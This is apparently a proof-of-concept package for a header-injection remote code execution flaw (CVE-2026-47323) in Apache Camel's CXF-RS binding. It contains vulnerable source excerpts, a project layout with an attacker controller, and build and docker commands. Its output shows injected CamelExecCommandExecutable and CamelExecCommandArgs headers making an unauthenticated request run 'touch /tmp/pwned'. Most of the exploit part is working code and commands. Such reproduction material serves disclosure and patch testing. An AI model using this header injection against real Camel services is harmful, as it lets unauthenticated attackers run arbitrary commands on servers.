// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- injected header lands here
    }
}

from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // the author's fixed, harmless command
    .setBody(constant("ok\n"));

CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS contract: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs consumer -> exec:echo
    │   └── ExploitController.java  # attacker: GET /ping with injected CamelExec* headers
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # created by the injected command
docker compose down

mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true